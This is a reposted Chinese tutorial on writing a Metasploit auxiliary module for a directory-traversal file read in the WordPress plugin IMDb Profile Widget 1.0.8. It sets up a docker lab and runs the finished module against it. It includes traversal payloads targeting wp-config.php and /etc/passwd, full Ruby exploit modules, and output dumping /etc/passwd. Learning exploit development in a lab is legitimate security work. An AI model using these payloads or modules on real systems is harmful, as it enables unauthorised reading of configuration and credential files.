<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/14408

            0x00 概述


            Metasploit——滲透測試神器,相信大家應該都用過或聽過,drops里也有很多白帽子寫過相關的文章,介紹如何使用Metasploit。使用過Metasploit的同學應該知道,Metasploit Framework是高度模塊化的,即框架是由多個module組成,我們除了可以使用已有的 module,還可以自行編寫module來滿足自己的需求,模塊化使得框架具有很好的可擴展性,這也是為什么Metasploit Framework這么受歡迎的原因之一。

            看了看drops之前的文章,好像沒人寫過關于如何編寫 Metasploit Module,剛好最近在搗鼓Metasploit,順便復習下快遺忘的ruby,記錄下自己學習的過程。

            因為是入門篇,所以這里以一個非常簡單WordPress Plugin的任意文件讀取漏洞作為例子,搭建環境,編寫自己的Auxiliary module(輔助模塊),然后測試驗證,介紹編寫自己的 module的步驟和方法。

            文中如果有說的不對或不準確的地方,歡迎大家指出~

            0x01 漏洞環境


            漏洞環境是一個WordPress 插件imdb-widget 1.0.8版本的任意文件讀取漏洞,缺陷代碼存在于pic.php,代碼:

            <?php
            header( 'Content-Type: image/jpeg' );
            readfile( $_GET["url"] );
            

            PoC:

            /wp-content/plugins/imdb-widget/pic.php?url=../../../wp-config.php
            

            因為 Content-Type 被設置成了 image/jpeg,所以訪問后需要點擊另存為文本文件,然后打開就可以獲取到文件內容

            可以參考Wordpress Plugin IMDb Profile Widget 1.0.8 - Local File Inclusion

            0x02 環境搭建


            環境搭建包括兩部分

            Metasploit

            這里使用 Kali 2.0,自帶Metasploit,比較方便,下載Prebuilt Kali Linux VirtualBox Images,導入VirtualBox就可以用,這里就不細說了

            WordPress 插件漏洞環境

            這里使用docker來搭建,操作系統為 Ubuntu 14.04,docker的安裝大家可以 google下

            拉取 WordPress image

            docker pull wordpress:4.4.2
            

            拉取 Mysql image

            docker pull mysql:5.7.11
            

            拉取過程可能會比較慢,可以裝個Shadow(socks)和proxychains,再proxychains docker pull

            啟動 mysql container

            docker run -d -p 3306:3306 --name mysql -e MYSQL_ROOT_PASSWORD=root mysql:5.7.11
            

            啟動 wordpress container

            docker run -d --name wordpress --link mysql:mysql -p 80:80 wordpress:4.4.2
            

            訪問

            http://127.0.0.1/
            

            根據頁面提示Install就行

            接著登錄后臺

            http://127.0.0.1/wp-login.php
            

            下載插件imdb-widget有漏洞的1.0.8版本,點擊左邊導航欄的 插件 - 安裝插件 - 上傳插件,選擇剛才下載的zip包,點現在安裝 - 啟用插件

            然后點擊 外觀 - 小工具,把左邊的 IMDb Profile 拖到 掛件區域的第一個位置,點開設置User id,隨便填一個如ur1,Show 隨便勾選幾個,點保存。主頁刷新就可以看到了

            測試漏洞,執行如下命令,就可以看到 /etc/passwd 的內容

            wget -O result.txt http://127.0.0.1/wp-content/plugins/imdb-widget/pic.php?url=../../../../../../../../../etc/passwd
            
            cat result.txt
            ...
            

            0x03 編寫Module


            編寫之前先簡單介紹一些概念相關的東西

            Metasploit中的 Module Tree 分為兩種,Primary Module TreeUser-Specified Module Tree,前者用于放框架自帶的module,后者用于放自己寫的module.

            Primary Module Tree在目錄 /usr/share/metasploit-framework/modules/

            User-Specified Module Tree 在 ~/.msf7/modules/(官網寫的是~/.msf4/modules/)

            Module的分類包括6種:

            drwxr-xr-x 20 root root 4.0K Jan 28 05:38 auxiliary
            drwxr-xr-x 11 root root 4.0K Jan 28 05:38 encoders
            drwxr-xr-x 18 root root 4.0K Jan 28 05:38 exploits
            drwxr-xr-x  9 root root 4.0K Jan 28 05:38 nops
            drwxr-xr-x  5 root root 4.0K Jan 28 05:38 payloads
            drwxr-xr-x 11 root root 4.0K Jan 28 05:38 post
            

            根據官網的介紹,翻譯過來大概意思是:

            auxiliary:輔助模塊,不帶有payload的exploit,比如一些掃描模塊

            payloads:遠程運行的代碼,比如反彈shell的代碼

            exploits:帶有payload的exploit

            encoders:用于對payload進行編碼

            nops:保持paload大小的一致性

            post: 獲取權限后,用于后續滲透階段的模塊

            因為任意讀取漏洞是用于獲取信息的,并不能直接獲取系統權限,即不帶有 payload ,因此我們要編寫的module是屬于auxiliary分類下的。

            編寫之前,我們來分析下任意文件讀取漏洞auxiliary module需要完成的功能,簡單來說:

            1. 檢查插件版本,看是否為存在漏洞的版本,如果不是,則返回invulnerable,如果是或不確定,比如獲取不到版本信息,則執行2
            2. 向存在漏洞的頁面發送http請求,獲取某個指定文件的內容,如果獲取成功,則保存文件到本地。如果獲取失敗,有兩種可能性,一是插件不存在漏洞,對應前面獲取不到版本信息的情況;二是文件不存在或文件的權限問題;需要根據返回做相應處理

            注:這里檢查插件是否存在,應該由另一個module來完成,這里只負責檢測插件是否存在漏洞

            分析完后,就得開始寫module了,那么這里有兩種方法:

            1. 找一個auxiliary module的代碼skeleton,然后一點點自己寫;
            2. 找一個類似的已經寫好的module,在它的基礎上改寫;

            這里推薦第二種,比較適合我這種新手,有參考,寫起來也容易些,那么如何找到可以參考的module呢?莫慌~

            打開msfconsole,因為是文件讀取,可以先search wordpress然后再找 read 關鍵詞,在msfconsole中執行

            msf > grep "read" search wordpress
            

            找到如下幾個module

            auxiliary/scanner/http/wp_dukapress_file_read                                   normal     WordPress DukaPress Plugin File Read Vulnerability
            
            auxiliary/scanner/http/wp_gimedia_library_file_read                             normal     WordPress GI-Media Library Plugin Directory Traversal Vulnerability
            
            auxiliary/scanner/http/wp_imdb_profile_widget_file_read                         normal     WordPress IMDb Profile Widget Plugin File Read Vulnerability
            
            auxiliary/scanner/http/wp_mobileedition_file_read                               normal     WordPress Mobile Edition File Read Vulnerability
            
            auxiliary/scanner/http/wp_nextgen_galley_file_read                              normal     WordPress NextGEN Gallery Directory Read Vulnerability
            
            auxiliary/scanner/http/wp_simple_backup_file_read                               normal     WordPress Simple Backup File Read Vulnerability
            
            auxiliary/scanner/http/wp_subscribe_comments_file_read                          normal     WordPress Subscribe Comments File Read Vulnerability
            

            這里選擇auxiliary/scanner/http/wp_dukapress_file_read,具體文件位于/usr/share/metasploit-framework/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb

            代碼如下:

            require 'msf/core'
            
            class Metasploit3 < Msf::Auxiliary
            
              include Msf::Auxiliary::Report
            
              include Msf::Exploit::Remote::HTTP::Wordpress
            
              include Msf::Auxiliary::Scanner
            
              def initialize(info = {})
            
                super(update_info(info,
                  'Name'           => 'WordPress DukaPress Plugin File Read Vulnerability',
                  'Description'    => %q{
                    This module exploits a directory traversal vulnerability in WordPress Plugin
                    "DukaPress" version 2.5.2, allowing to read arbitrary files with the
                    web server privileges.
                  },
                  'References'     =>
                    [
                      ['EDB', '35346'],
                      ['CVE', '2014-8799'],
                      ['WPVDB', '7731'],
                      ['OSVDB', '115130']
                    ],
                  'Author'         =>
                    [
                      'Kacper Szurek', # Vulnerability discovery
                      'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
                    ],
                  'License'        => MSF_LICENSE
                ))
            
                register_options(
                  [
                    OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
                    OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
                  ], self.class)
            
              end
            
              def check
            
                check_plugin_version_from_readme('dukapress', '2.5.7')
            
              end
            
              def run_host(ip)
            
                traversal = "../" * datastore['DEPTH']
                filename = datastore['FILEPATH']
                filename = filename[1, filename.length] if filename =~ /^\//
            
                res = send_request_cgi({
                  'method' => 'GET',
                  'uri'    => normalize_uri(wordpress_url_plugins, 'dukapress', 'lib', 'dp_image.php'),
                  'vars_get' =>
                    {
                      'src' => "#{traversal}#{filename}"
                    }
                })
            
                if res && res.code == 200 && res.body.length > 0
            
                  print_status('Downloading file...')
                  print_line("\n#{res.body}")
            
                  fname = datastore['FILEPATH']
            
                  path = store_loot(
                    'dukapress.file',
                    'text/plain',
                    ip,
                    res.body,
                    fname
                  )
            
                  print_good("#{peer} - File saved in: #{path}")
                else
                  print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter.")
                end
            
              end
            
            end
            

            看到這一堆代碼,一般人都會有點暈,不知道從那里下手,莫慌,問google,搜索metasploit write module,搜索結果第三個,How to get started with writing an exploit,里面有一些module結構的說明. 這里對照著給了代碼加了些注釋:

            # 引入msf core 庫
            
            require 'msf/core'
            
            # 繼承 Msf::Auxiliary 類
            
            class Metasploit3 < Msf::Auxiliary
            
              # 引入三個 module,具體可以查看文檔
            
              include Msf::Auxiliary::Report
            
              include Msf::Exploit::Remote::HTTP::Wordpress
            
              include Msf::Auxiliary::Scanner
            
              # 初始化函數
            
              def initialize(info = {})
            
                super(update_info(info,
                  # [Vendor] [Software] [Root Cause] [Vulnerability type] 
                  'Name'           => 'WordPress DukaPress Plugin File Read Vulnerability',
                  # 描述
                  'Description'    => %q{
                    This module exploits a directory traversal vulnerability in WordPress Plugin
                    "DukaPress" version 2.5.2, allowing to read arbitrary files with the
                    web server privileges.
                  },
                  # 相關vulnerability 或 exploit的參考
                  'References'     =>
                    [
                      ['EDB', '35346'],
                      ['CVE', '2014-8799'],
                      ['WPVDB', '7731'],
                      ['OSVDB', '115130']
                    ],
                  # 作者
                  'Author'         =>
                    [
                      'Kacper Szurek', # Vulnerability discovery
                      'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
                    ],
                  'License'        => MSF_LICENSE
                ))
                # 注冊需要參數
                register_options(
                  [
                    # 要獲取的文件路徑
                    OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
                    # 遍歷深度,用于到達根目錄,默認7次../
                    OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
                  ], self.class)
            
              end
            
              # 用于支持 check 命令;在具體執行exploit前,檢查是否存在漏洞
            
              def check
            
                # 檢查dukapress版本,Wordpress module提供
                check_plugin_version_from_readme('dukapress', '2.5.7')
            
              end
            
              def run_host(ip)
            
                traversal = "../" * datastore['DEPTH']
                filename = datastore['FILEPATH']
                filename = filename[1, filename.length] if filename =~ /^\//
                # 發送http請求
                res = send_request_cgi({
                  'method' => 'GET',
                  'uri'    => normalize_uri(wordpress_url_plugins, 'dukapress', 'lib', 'dp_image.php'),
                  'vars_get' =>
                    {
                      'src' => "#{traversal}#{filename}"
                    }
                })
                # 檢查響應
                if res && res.code == 200 && res.body.length > 0
            
                  print_status('Downloading file...')
                  print_line("\n#{res.body}")
            
                  fname = datastore['FILEPATH']
                  # 保存文件
                  path = store_loot(
                    'dukapress.file',
                    'text/plain',
                    ip,
                    res.body,
                    fname
                  )
            
                  print_good("#{peer} - File saved in: #{path}")
                else
                  print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter.")
                end
            
              end
            
            end
            

            弄懂大概結構后,我們根據前面的分析,編寫自己的module,完成后的代碼如下

            #
            
            This module requires Metasploit: http://metasploit.com/download
            
            Current source: https://github.com/rapid7/metasploit-framework
            
            #
            
            # 引入msf core 庫
            
            require 'msf/core'
            
            # 繼承 Msf::Auxiliary 類
            
            class Metasploit3 < Msf::Auxiliary
            
              # 引入三個 module,照搬,具體可以查看文檔
            
              include Msf::Auxiliary::Report
            
              include Msf::Exploit::Remote::HTTP::Wordpress
            
              include Msf::Auxiliary::Scanner
            
              # 初始化函數
            
              def initialize(info = {})
            
                super(update_info(info,
                  # [Vendor] [Software] [Root Cause] [Vulnerability type] 
                  'Name'           => 'WordPress IMDb Profile Widget Plugin File Read Vulnerability',
                  # 描述
                  'Description'    => %q{
                    This module exploits a directory traversal vulnerability in WordPress Plugin
                    "IMDb Profile Widget" version 1.0.8, allowing to read arbitrary files with the
                    web server privileges.
                  },
                  # 相關vulnerability 或 exploit的參考
                  'References'     =>
                    [
                      ['URL', 'https://www.exploit-db.com/exploits/39621/']
                    ],
                  # 作者
                  'Author'         =>
                    [
                      'CrashBandicot @DosPerl', # Vulnerability discovery
                      'blinking.yan <blinking.yan[at]gmail.com>' # Metasploit module
                    ],
                  'License'        => MSF_LICENSE
                ))
                # 注冊需要參數
                register_options(
                  [
                    OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
                    OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
                  ], self.class)
            
              end
            
              # 用于支持 check 命令;在具體執行exploit前,檢查是否存在漏洞
            
              def check
            
                # 檢查imdb-widget版本
                check_plugin_version_from_readme('imdb-widget', '1.0.8')
            
              end
            
              # 執行exploit
            
              def run_host(ip)
            
                traversal = "../" * datastore['DEPTH']
                filename = datastore['FILEPATH']
                filename = filename[1, filename.length] if filename =~ /^\//
                # 發送讀取文件的http請求
                res = send_request_cgi({
                  'method' => 'GET',
                  'uri'    => normalize_uri(wordpress_url_plugins, 'imdb-widget', 'pic.php'),
                  'vars_get' =>
                    {
                      'url' => "#{traversal}#{filename}"
                    }
                })
                # 檢查響應
                if res && res.code == 200 && res.body.length > 0
                  # 文件不存在
                  if res.body.include? 'No such file or directory' 
                    print_error("#{peer} - Nothing was downloaded. No such file or directory: /#{filename}. Please change the DEPTH parameter.")
                  # 文件讀取權限問題
                  elsif res.body.include? 'Permission denied'
                    print_error("#{peer} - Nothing was downloaded. Permission denied: /#{filename}. Please change the DEPTH parameter.")
                  else
                    print_status('Downloading file...')
                    print_line("\n#{res.body}")
            
                    fname = datastore['FILEPATH']
                    # 保存文件
                    path = store_loot(
                      'imdb-widget.file',
                      'text/plain',
                      ip,
                      res.body,
                      fname
                    )
            
                    print_good("#{peer} - File saved in: #{path}")
                  end
                else
                  print_error("#{peer} - Http Response Code is not 200 or Plugin is not vulnerable")
                end
            
              end
            
            end
            

            可以看到,改動的地方并不是很多。

            因此我們并不需要弄懂所有的類和方法,也可以寫出自己的module。

            代碼中發送http請求部分可以參考:How to Send an HTTP Request Using HTTPClient

            0x04 測試Module


            前面提到,msf有專門的目錄~/.msf7/modules/來存放自己編寫的module,這里對照著auxiliary/scanner/http/wp_dukapress_file_read,創建目錄

            mkdir -p  ~/.msf7/modules/auxiliary/scanner/http/
            

            將代碼保存~/.msf7/modules/auxiliary/scanner/http/目錄下,文件名為wp_imdb_profile_widget_file_read.rb,重啟msfconsole,加載自定義module,執行

            msfconsole -m ~/.msf7/modules
            

            查看下插件是否已經被load

            msf > grep "imdb" search wordpress
            
            auxiliary/scanner/http/wp_imdb_profile_widget_file_read                         normal     WordPress IMDb Profile Widget Plugin File Read Vulnerability
            

            對前面的漏洞環境進行測試,這里wordpress的ip為192.168.1.191

            msf > use auxiliary/scanner/http/wp_imdb_profile_widget_file_read
            
            msf auxiliary(wp_imdb_profile_widget_file_read) > show options 
            
            Module options (auxiliary/scanner/http/wp_imdb_profile_widget_file_read):
            
               Name       Current Setting  Required  Description
            
            ---
            
               DEPTH      7                yes       Traversal Depth (to reach the root folder)
            
               FILEPATH   /etc/passwd      yes       The path to the file to read
            
               Proxies                     no        A proxy chain of format type:host:port,type:host:port
            
               RHOSTS                      yes       The target address range or CIDR identifier
            
               RPORT      80               yes       The target port
            
               TARGETURI  /                yes       The base path to the wordpress application
            
               THREADS    1                yes       The number of concurrent threads
            
               VHOST                       no        HTTP server virtual host
            
            msf auxiliary(wp_imdb_profile_widget_file_read) > set rhosts 192.168.1.191
            
            rhosts => 192.168.1.191
            
            msf auxiliary(wp_imdb_profile_widget_file_read) > run
            
            [*] Downloading file...
            
            root:x:0:0:root:/root:/bin/bash
            
            daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
            
            bin:x:2:2:bin:/bin:/usr/sbin/nologin
            
            sys:x:3:3:sys:/dev:/usr/sbin/nologin
            
            sync:x:4:65534:sync:/bin:/bin/sync
            
            games:x:5:60:games:/usr/games:/usr/sbin/nologin
            
            man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
            
            lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
            
            mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
            
            news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
            
            uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
            
            proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
            
            www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
            
            backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
            
            list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
            
            irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
            
            gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
            
            nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
            
            systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
            
            systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
            
            systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
            
            systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
            
            [+] 192.168.1.191:80 - File saved in: /root/.msf7/loot/20160403132842default192.168.1.191imdbwidget.file266865.txt
            
            [*] Scanned 1 of 1 hosts (100% complete)
            
            [*] Auxiliary module execution completed
            
            msf auxiliary(wp_imdb_profile_widget_file_read) > 
            

            成功讀取到/etc/passwd,測試成功~

            0x05 結論


            文章主要介紹的是如何去編寫module的方法,有的地方可能寫的不是很詳細。總結來說就是: 在接觸一個新的東西時,參考別人已經寫好的東西,然后修修改改,是一種很好快速入門的方法。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线